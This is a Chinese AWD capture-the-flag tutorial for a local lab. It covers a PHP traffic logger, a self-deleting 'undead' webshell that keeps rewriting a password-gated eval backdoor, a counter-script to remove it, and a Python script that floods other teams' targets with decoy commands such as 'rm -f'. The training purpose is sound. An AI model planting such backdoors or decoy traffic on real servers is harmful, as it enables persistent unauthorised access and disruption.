数据来源
注意:一下写的东西是在p80 红蓝对抗-AWD 模式&准备&攻防&监控&批量这篇文章的基础上进行的
演示案例:
- 防守-流量监控-实时获取访问数据包流量
- 攻击-权限维持-不死脚本后门生成及查杀 其他-恶意操作-搅屎棍发包回首掏共权限
- 准备-漏洞资源-漏洞资料库及脚本工具库
前提:开启awd项目,并在真实机使用Xshll 7连接虚拟机与 awd靶机的终端,上一篇文章有详细的介绍。
案例 1 - 防守-流量监控-实时获取访问数据包流量
实现 WEB 访问监控,文件监控在上一篇文章
1)先上传监听脚本文件到靶机的app目录下,并挂载在后门文件footer.php中
log-record.php (文章最后的链接可以直接下载,文件位置:AWD红蓝对抗资料工具-小迪安全\AWD_Hunter-master\script\php)
<?php
date_default_timezone_set("Asia/Shanghai");
if (!function_exists('getallheaders')) {
function getallheaders() {
$headers = [];
foreach ($_SERVER as $name => $value) {
if (substr($name, 0, 5) == 'HTTP_') {
$headers[str_replace(' ', '-', ucwords(strtolower(str_replace('_', ' ', substr($name, 5)))))] = $value;
}
}
return $headers;
}
}
function WAF_log() {
global $WAF_query, $WAF_headers, $WAF_post, $WAF_log;
$tmp = "[" . date('y-m-d H:i:s') . "]\n";
$tmp .= "SRC IP: " . $_SERVER["REMOTE_ADDR"]."\n";
$tmp .= $_SERVER['REQUEST_METHOD'].''.'http://'.$_SERVER['SERVER_NAME'].':'.$_SERVER["SERVER_PORT"].$_SERVER["REQUEST_URI"]."\n";
foreach($WAF_headers as $k => $v) {
if($k=='Accept-Encoding'||$k=='Accept-Language'||$k=='Accept'||$k=='User-Agent'||$k=='Referer'||$k=='Cookie'||$k=='X-Forwarded-For')
$tmp .= $k . ': ' . $v . "\n";
}
if (!empty($WAF_post)) {
$tmp .= "\n". $WAF_post . "\n";
}
$tmp .= "\n";
@file_put_contents($WAF_log."log_".date("H",time()), $tmp, FILE_APPEND);
}
$WAF_query = $_SERVER['QUERY_STRING'];
$WAF_headers = getallheaders();
$WAF_post = @file_get_contents('php://input');
$WAF_log = '/tmp/';
$WAF_AD_log = '';
WAF_log();
?>
代码解析:
简单理解就是这个脚本会监听网站的行为生成日志文件log_?到当前目录下的 tmp文件夹内
挂载文件
2)检验脚本效果
1、在靶机的终端输入:
cd tmp # 切换到tmp目录下
ls # 查看当前目录的内容,找到生成的日志文件log_? 我这里是log_18
tail -f log_18 # 等同于--follow=descriptor,根据文件描述符进行追踪,当文件改名或被删除,追踪停止(就是监听log_18日志文件的实时变化)
2、在真实机打开靶机的网站,虚拟机ip:8801 team1 8802 team1 8803 team3(我的脚本是上传team1中所以这里用8801连接)
回到终端查看日志
3、WEB 访问监控的作用
- 分析有后门或无后门的攻击行为数据包找到漏洞进行修复
- 分析到成功攻击的数据包进行自我利用,用来攻击其他队伍
案例 2 - 攻击-权限维持- 不死脚本后门生成及查杀
1)上传不死马
不死马.php
<?php
ignore_user_abort(true); // ignore_user_abort 设置与客户机断开是否会终止脚本的执行,如果设置为 true,则忽略与用户的断开,如果设置为 false,会导致脚本停止运行
set_time_limit(0); // set_time_limit设置允许脚本运行的时间,单位为秒。如果超过了此设置,脚本返回一个致命的错误。默认值为30秒,如果设置为零,没有时间方面的限制。
unlink(__FILE__); // unlink() 删除函数的方法,__FILE__代表当前文件自己,删除自己防止被查杀
$file = '.index.php';
$code = '<?php if(md5($_GET["pass"])=="588b0909be46df2e992915a156a4e848"){@eval($_POST[a]);} ?>'; // 定义后面代码
while (1){ // 设置无限循环
file_put_contents($file,$code); // file_put_contents()函数可以将一个字符串写入文件,写入后门代码
usleep(5000); // usleep()函数是把调用该函数的线程挂起一段时间(就是暂停执行一段时间),单位是微秒(百万分之一秒)
}
?>
2)改一下不死马的名称与木马生成文件的名称,让人不易发现
文件名改成xd.php , 生成的文件改成 x.php
3)使用不死马
1. 首先访问xd.php文件让他生成不死马(x.php),生成x.php文件后我们原来的xd.php文件就会自动被删除掉(unlink(__FILE__); // 这句代码做的)
http://192.168.1.13:8801/xd.php
2. 回到Xftp 7 查看
无论是在Xftp 7中还是虚拟机中删除都是删除不掉的
4)克制不死马
1.ps auxww|grep shell.php 找到pid后杀掉进程就可以,你删掉脚本是起不了作用的,因为php执行的时候已经把脚本读进去解释成opcode运行了
2.重启php等web服务
3.用一个ignore_user_abort(true)脚本,一直竞争写入(断断续续)。usleep要低于对方不死马设置的值。
4.创建一个和不死马生成的马一样名字的文件夹。
这里演示使用脚本的方法,创建一个fuck_x.php文件写入以下代码上传到靶机
<?php
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$file = 'x.php'; // 注意这里的文件名要与不死马的一样
$code = '干掉不死马,随便写,不写也可以';
while (1){
file_put_contents($file,$code);
usleep(1000); // 不死马这里是5000微秒,我们就1000这样生成文件的速度就比他快,就能一直替换掉他
}
?>
运行我们的克制文件
http://192.168.1.13:8801/fuck_x.php
查看x.php文件
案例 3 - 其他-恶意操作-搅屎棍发包回首掏共权限
搅屎棍:目的就是浪费对手时间,我们发的包访问的文件很多不存在对方甚至会怀疑你把文件隐藏起来了又是各种找。
回首掏:配合抓到的真实攻击数据包,利用数据包占用其他人的攻击行为。利用后门去连接其他团队尝试。
1)写脚本(无限发包)
awd_jiaosigun.py
import requests # requests这包是用来发送网络请求的
import time # 时间模块
def scan_attack():
shell_file = {'index.php','about.php','services.php','contact.php'} # 我发现如果目标不存在这个文件,日志是不会记录的,所以这里我写目标靶机的url页面路径
payload = {'cat /flag','ls -al','rm -f','echo 1'} # 随便写几个命令,等下用来发送请求误导防御者
while 1: # 设置无限循环不停的发包
for i in range(8801, 8804): # range(num1,num2) 生成数字序列,不包含num2,8801代表第一个靶机 8802 第二个,我这里就开了3个靶机,就是8801-8803
for ii in shell_file:
url = f'http://192.168.1.13:{i}/{ii}' # 拼接文件访问地址,ii就是遍历出来的文件名,这个文件不需要真实存在只是用来误导防御者的
for iii in payload: # 这里循环payload内的系统命令
data = {
'cmd': iii # 一般一句话马都是会有一个形参接收传入的命令,这里的cmd也是随便写的
}
try: # 设置无限循环
requests.post(url, data = data) # 利用requests模块发送post请求
print(url)
# print("正在搅屎:" + str(i) + '|' + ii + '|' + iii)
time.sleep(0.5) # 暂停0.5s让程序不要跑太快
except Exception as e:
print(e)
pass
if __name__ == '__main__':
scan_attack()
2)开启流量监听(跟上面讲的步骤一样)
cd tmp # 切换到tmp目录下
ls # 查看当前目录的内容,找到生成的日志文件log_? 我这里是log_18
tail -f log_22 # 需要注意的是log_? 最后这里数字是会变的